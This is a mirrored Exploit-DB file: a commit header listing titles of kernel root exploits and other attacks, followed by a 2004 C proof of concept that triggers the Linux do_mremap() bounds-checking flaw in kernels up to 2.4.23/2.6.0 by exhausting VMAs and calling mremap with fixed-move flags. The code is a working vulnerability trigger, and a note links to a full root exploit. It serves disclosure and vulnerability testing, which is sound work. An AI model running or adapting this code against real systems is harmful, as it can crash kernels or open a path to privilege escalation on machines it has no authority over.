exploit-db-mirror/platforms/linux/local/154.c
Offensive Security 789febc361 DB: 2016-07-22
4 new exploits

Linux Kernel <= 2.4.23 / <= 2.6.0 - 'do_mremap()' Local Proof of Concept (1)
Linux Kernel <= 2.4.23 / <= 2.6.0 - 'do_mremap()' Local Proof of Concept (2)
Linux Kernel <= 2.4.23 / <= 2.6.0 - 'do_mremap()' Validator (Proof of Concept) (1)
Linux Kernel <= 2.4.23 / <= 2.6.0 - 'do_mremap()' Validator (Proof of Concept) (2)

Linux Kernel <= 2.4.23 / <= 2.6.0 - 'mremap()' Bound Checking Root Exploit (3)
Linux Kernel <= 2.4.23 / <= 2.6.0 - 'do_mremap()' Bound Checking Root Exploit (3)

Linux Kernel <= 2.2.25 / <= 2.4.24 / <= 2.6.2 - 'mremap()' Local Proof of Concept (2)
Linux Kernel <= 2.2.25 / <= 2.4.24 / <= 2.6.2 - 'mremap()' Validator (Proof of Concept) (1)

Linux Kernel <= 2.2.25 / <= 2.4.24 / <= 2.6.2 - 'mremap()' Missing 'do_munmap' Exploit (1)
Linux Kernel <= 2.2.25 / <= 2.4.24 / <= 2.6.2 - 'mremap()' Local Root Exploit (2)

Linux Kernel <= 2.4.29-rc2 - 'uselib()' Privilege Elevation (1)
Linux Kernel <= 2.4.29-rc2 - 'uselib()' Privilege Escalation (1)

Linux Kernel 2.4 - 'uselib()' Privilege Elevation Exploit (2)
Linux Kernel 2.4 - 'uselib()' Privilege Escalation Exploit (2)

Linux Kernel 2.4 / 2.6 x86_64) - System Call Emulation Exploit
Linux Kernel 2.4 / 2.6 (x86_64) - System Call Emulation Local Root Exploit

TFTP Server 1.4 - ST Buffer Overflow Exploit (0Day)
TFTP Server 1.4 - ST Buffer Overflow Exploit

Linux Kernel < 2.6.22 - ftruncate()/open() Local Exploit
Linux Kernel < 2.6.22 - ftruncate()/open() Local Root Exploit

MuPDF pdf_shade4.c Multiple Stack-Based Buffer Overflows
MuPDF < 20091125231942 - pdf_shade4.c Multiple Stack-Based Buffer Overflows

(Linux Kernel <= 2.6.34-rc3) ReiserFS xattr (Redhat/Ubuntu 9.10) - Privilege Escalation
ReiserFS xattr (Linux Kernel <= 2.6.34-rc3) (Redhat / Ubuntu 9.10) - Privilege Escalation

Microsoft ASN.1 Library Bitstring Heap Overflow
Microsoft Windows - ASN.1 Library Bitstring Heap Overflow (MS04-007)

Linux Kernel 2.0 / 2.1 / 2.2 - autofs

Linux Kernel 2.2 - ldd core Force Reboot
Linux Kernel 2.2 - 'ldd core' Force Reboot
OpenSSH 3.x Challenge-Response Buffer Overflow Vulnerabilities (1)
OpenSSH 3.x Challenge-Response Buffer Overflow Vulnerabilities (2)
OpenSSH 3.x - Challenge-Response Buffer Overflow Vulnerabilities (1)
OpenSSH 3.x - Challenge-Response Buffer Overflow Vulnerabilities (2)

Linux Kernel Samba 2.2.8 (Debian/Mandrake) - Share Local Privilege Elevation
Linux Kernel Samba 2.2.8 (Debian / Mandrake) - Share Local Privilege Escalation

Linux Kernel 3.14-rc1 <= 3.15-rc4 - Raw Mode PTY Local Echo Race Condition Local Privilege Escalation (x64)
Linux Kernel 3.14-rc1 <= 3.15-rc4 (x64) - Raw Mode PTY Local Echo Race Condition Local Privilege Escalation

Linux Kernel 2.6.26 - Auerswald USB Device Driver Buffer Overflow Proof of Concept
Linux Kernel 2.6.26 - Auerswald USB Device Driver Buffer Overflow (Proof of Concept)

Apport/Abrt - Local Root Exploit
Apport/Abrt (Ubuntu / Fedora) - Local Root Exploit

Ubuntu usb-creator 0.2.x - Local Privilege Escalation
usb-creator 0.2.x (Ubuntu 12.04/14.04/14.10) - Local Privilege Escalation

Apport/Ubuntu - Local Root Race Condition
Apport (Ubuntu 14.04/14.10/15.04) - Local Root Race Condition

Linux Kernel 4.4.0-2 (Ubuntu 16.04) - netfilter target_offset OOB Local Root Exploit
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - netfilter target_offset OOB Local Root Exploit
TFTP Server 1.4 - WRQ Buffer Overflow Exploit (Egghunter)
Linux/x86-64 - Subtle Probing Reverse Shell_ Timer_ Burst_ Password_ Multi-Terminal (84_ 122_ 172 bytes)
TeamPass Passwords Management System 2.1.26 - Arbitrary File Download
2016-07-22 05:05:29 +00:00

104 lines
2.4 KiB
C
Executable file

/*
* Proof-of-concept exploit code for do_mremap() #2
*
* EDB Note: This is NOT to be confused with CVE-2003-0985 // https://www.exploit-db.com/exploits/141/, which would be "do_mremap() #1".
* EDB Note: This will just "test" the vulnerability. A exploit version can be found here ~ https://www.exploit-db.com/exploits/160/
*
*
* Copyright (C) 2004 Christophe Devine
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include <asm/unistd.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#define MREMAP_MAYMOVE 1
#define MREMAP_FIXED 2
#define MREMAP_FLAGS MREMAP_MAYMOVE | MREMAP_FIXED
#define __NR_real_mremap __NR_mremap
static inline _syscall5( void *, real_mremap, void *, old_address,
size_t, old_size, size_t, new_size,
unsigned long, flags, void *, new_address );
#define VMA_SIZE 0x00003000
int main( void )
{
int i, ret;
void *base0;
void *base1;
i = 0;
while( 1 )
{
i++;
ret = (int) mmap( (void *)( i * (VMA_SIZE + 0x1000) ),
VMA_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );
if( ret == -1 )
{
perror( "mmap" );
break;
}
base0 = base1;
base1 = (void *) ret;
}
printf( "created ~%d VMAs\n", i );
base0 += 0x1000;
base1 += 0x1000;
printf( "now mremapping 0x%08X at 0x%08X\n",
(int) base1, (int) base0 );
real_mremap( base1, 4096, 4096, MREMAP_FLAGS, base0 );
printf( "kernel may not be vulnerable\n" );
return( 0 );
}
// milw0rm.com [2004-02-18]